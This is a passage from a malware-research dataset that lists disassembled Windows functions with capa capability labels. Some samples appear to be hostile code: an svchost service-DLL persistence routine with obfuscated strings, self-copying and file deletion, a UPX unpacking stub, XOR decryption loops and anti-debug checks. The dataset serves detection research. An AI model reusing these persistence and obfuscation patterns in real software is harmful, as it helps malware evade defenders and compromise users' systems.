joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str._AJE._Gugkw_Rww__b
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._AlohgkQplewbiGkhfv_slf_rwg
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str._AJE._Gugkw_Rww__b
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str._AJE._Gugkw_Rww__b
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._AlohgkQplewbiGkhfv_slf_rwg
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._AlohgkQplewbiGkhfv_slf_rwg
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._AlohgkQplewbiGkhfv_slf_rwg
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._AlohgkQplewbiGkhfv_slf_rwg
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._AlohgkQplewbiGkhfv_slf_rwg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._AlohgkQplewbiGkhfv_slf_rwg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._AlohgkQplewbiGkhfv_slf_rwg
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._AlohgkQplewbiGkhfv_slf_rwg
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x8e6f30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x342000]
mov dword [edi + 0x3b2120], 0x671144d1
push edi
or ebp, 0xffffffff
jmp 0x8e6f5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8e6f61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8e6f50
mov eax, 1
add ebx, ebx
jne 0x8e6f73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8e6f84
jne 0x8e6f94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8e6f94
dec eax
add ebx, ebx
jne 0x8e6f90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8e6f68
xor ecx, ecx
sub eax, 3
jb 0x8e6fac
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8e701e
sar eax, 1
mov ebp, eax
jmp 0x8e6fb7
add ebx, ebx
jne 0x8e6fb7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x8e6fc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x8e6fe8
inc ecx
add ebx, ebx
jne 0x8e6fd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8e6fc9
jne 0x8e6fe5
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8e6fc9
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8e7008
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8e6ff9
jmp 0x8e6f56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8e7008
add edi, ecx
jmp 0x8e6f56
pop esi
mov edi, esi
mov ecx, 0x121eb
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8e7026
cmp byte [edi], 0x92
jne 0x8e7026
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x8e702b
lea edi, [esi + 0x4e2000]
mov eax, dword [edi]
or eax, eax
je 0x8e70a3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x50d2f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x50d4c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8e7058
mov ecx, edi
jns 0x8e7087
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x50d4c4]
or eax, eax
je 0x8e709d
mov dword [ebx], eax
add ebx, 4
jmp 0x8e7075
call dword [esi + 0x50d4c8]
popal
jmp 0x402520
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x410c70
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x420884], 0
push ebx
push esi
mov ebx, ecx
jne 0x410d02
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x410cb9
push str.AddDllDirectory
push eax
call edi
test eax, eax
setne byte [0x420885]
push str.ntdll.dll
call esi
mov esi, eax
test esi, esi
je 0x410cfa
push str.LdrLoadDll
push esi
call edi
push str.RtlNtStatusToDosError
push esi
mov dword [0x420880], eax
call edi
push str.RtlWow64EnableFsRedirectionEx
push esi
mov dword [0x420888], eax
call edi
push str.RtlInitUnicodeString
push esi
mov dword [0x42088c], eax
call edi
mov dword [0x42087c], eax
mov byte [0x420884], 1
pop edi
cmp byte [0x420885], 0
je 0x410d29
push 0x800
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041196a
mov esp, ebp
pop ebp
ret
mov eax, dword [0x42088c]
mov dword [ebp - 0x218], 0
test eax, eax
je 0x410d4b
lea ecx, [ebp - 0x218]
push ecx
push 0
call eax
mov esi, eax
jmp 0x410d50
mov esi, 0xc0000002
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x410e0c
cmp eax, 0x104
jae 0x410e0c
mov eax, dword [0x42087c]
test eax, eax
je 0x410d88
push ebx
lea ecx, [ebp - 0x214]
push ecx
call eax
mov eax, dword [0x420880]
mov dword [ebp - 0x21c], 0
test eax, eax
je 0x410dba
lea ecx, [ebp - 0x21c]
push ecx
lea ecx, [ebp - 0x214]
push ecx
push 0
lea ecx, [ebp - 0x20c]
push ecx
call eax
test eax, eax
jns 0x410dda
jmp 0x410dbf
mov eax, 0xc0000002
mov ecx, dword [0x420888]
test ecx, ecx
je 0x410dce
push eax
call ecx
jmp 0x410dd3
mov eax, 0x7f
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
js 0x410df6
mov eax, dword [0x42088c]
test eax, eax
je 0x410df6
lea ecx, [ebp - 0x218]
push ecx
push dword [ebp - 0x218]
call eax
mov eax, dword [ebp - 0x21c]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041196a
mov esp, ebp
pop ebp
ret
push 0x65b
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0041196a
mov esp, ebp
pop ebp
ret
Function at 0x411750
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
mov ebx, ecx
mov dword [esp + 0x10], edx
push str.PiConsoleInformation
push ebx
mov dword [esp + 0x1c], ebx
xor edi, edi
mov byte [esp + 0x2f], 0
call dword [sym.imp.USER32.dll_GetPropW]
mov esi, eax
test esi, esi
je 0x4118a7
cmp dword [esi], 0x34
jne 0x4118a7
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push dword [esp + 0x10]
test eax, eax
push 1
push 0x1501
push dword [esi + 0x10]
setne byte [esp + 0x1f]
call dword [sym.imp.USER32.dll_SendMessageW]
push edi
push edi
push 0xcf
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
test eax, eax
jne 0x4117d2
xor ebx, ebx
jmp 0x411830
mov ecx, ebx
mov dword [esi + 8], 0x18
call fcn.004116c0
push 0
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov ebx, eax
test ebx, ebx
je 0x41182e
lea ecx, [ebx*2 + 2]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x41182e
lea ecx, [ebx + 1]
push ecx
push edi
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
setne byte [esp + 0x27]
mov ebx, edi
cmp byte [esp + 0xf], 0
je 0x411841
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x14]
mov dword [esi + 8], 0
call fcn.004116c0
push 0
push 1
push 0xcf
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x41d6dc
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
push 1
push 0x1501
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp byte [esp + 0x27], 0
jne 0x41189e
test edi, edi
je 0x41189e
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412720
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x412747
mov ecx, 5
int 0x29
push 2
call fcn.00412291
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x412852
test esi, esi
jne 0x412852
push 2
call fcn.00412291
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0041196a
mov esp, ebp
pop ebp
ret

Function at 0x4148c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.004020b0
mov esi, dword [ebp + 8]
test al, al
je 0x4148de
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.004148f0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x414a20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x414a7c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x414a7c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x414a7c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x414a7c
cmp dword [ecx + 0x74], 0xe
jbe 0x414a7c
cmp dword [ecx + 0xe8], 0
je 0x414a7c
push dword [ebp + 8]
call fcn.004148f0
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x4207cc
call fcn.004146d0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x414ab1
push dword [ebp + 8]
call fcn.004148c0
mov esp, ebp
pop ebp
ret
Function at 0x414af0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x414b4c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x414b4c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x414b4c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x414b4c
cmp dword [ecx + 0x74], 0xe
jbe 0x414b4c
cmp dword [ecx + 0xe8], 0
je 0x414b4c
push dword [ebp + 8]
call fcn.004148f0
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x4207cc
call fcn.004146d0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x414b81
push dword [ebp + 8]
call fcn.004148c0
mov esp, ebp
pop ebp
ret

Function at 0x414ba0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x414bca
mov eax, 2
pop ebp
ret
push esi
call sub.msvcrt.dll__errno
lea esi, [eax - 8]
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x414bec
test eax, eax
je 0x414bec
push 0x10
xor esi, esi
call dword [sym.imp.msvcrt.dll__amsg_exit]
add esp, 4
mov ecx, dword [esi + 0x70]
mov eax, ecx
and al, 2
movzx edx, al
mov eax, dword [ebp + 8]
neg edx
sbb edx, edx
inc eax
cmp eax, 3
ja case.default.0x414c03
jmp dword [eax*4 + 0x414c38]
or ecx, 2
lea eax, [edx + 2]
mov dword [esi + 0x70], ecx
pop esi
pop ebp
ret
and ecx, 0xfffffffd
mov dword [esi + 0x70], ecx
lea eax, [edx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.004126b0
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x40686f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x460114], 0
jne 0x4068ad
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406883
mov dword [ecx*4 + 0x460110], eax
inc ecx
cmp ecx, 0x100
jl 0x40687e
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4068da
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x460110]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4068bb
not eax
pop ebp
ret 0xc

Function at 0x805e74
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805e7a
pop ebp
sub ebp, 6
sub ebp, 0x405e74
jmp 0x805ed8
jmp 0x805ee1
mov eax, 0x405e74
add eax, ebp
add eax, 0x93
mov ecx, 0x62f
mov edx, 0x21988732
xor byte [eax], dl
inc eax
dec ecx
jne 0x805ef8
jmp 0x805f0b
pop eax
jb 0x805f68
xor ah, byte [edx]
xor dh, byte [edx]
pop edx
xor bh, dh
push ds
xor dh, byte [ebx + 0xb31f5c2]
mov bl, 0xc2
cmc
xor dword [ebx], ecx
add edx, esi
invalid
xor dh, byte [edx]
xor bl, bl
sbb dh, byte [edx]
xor dh, byte [edx]
mov ecx, 0x3ab7b9de
xor dh, byte [edx]
xor bh, byte [ecx + 0x32323ea7]
xor bh, byte [ecx + 0x323222bf]
xor dh, bl
invalid
Function at 0x1000745a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100074f7
push ebx
push esi
call fcn.10007423
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000736c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100074a4
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100074f6
push edi
push eax
call fcn.10005532
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100074c4
call fcn.10005f7c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100074f5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000736c
add esp, 0x20
test eax, eax
jne 0x100074e3
push edi
call fcn.10005f7c
jmp 0x100074eb
push ebx
call fcn.10005f7c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10007762
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f4e0
push 0x1000f4d8
push str.FlsAlloc
push 0x1e
call fcn.10007680
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007796
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000e10c]
call esi
jmp 0x1000779c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100077e0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f4f0
push 0x1000f4e8
push str.FlsGetValue
push 0x20
call fcn.10007680
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007817
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000e10c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]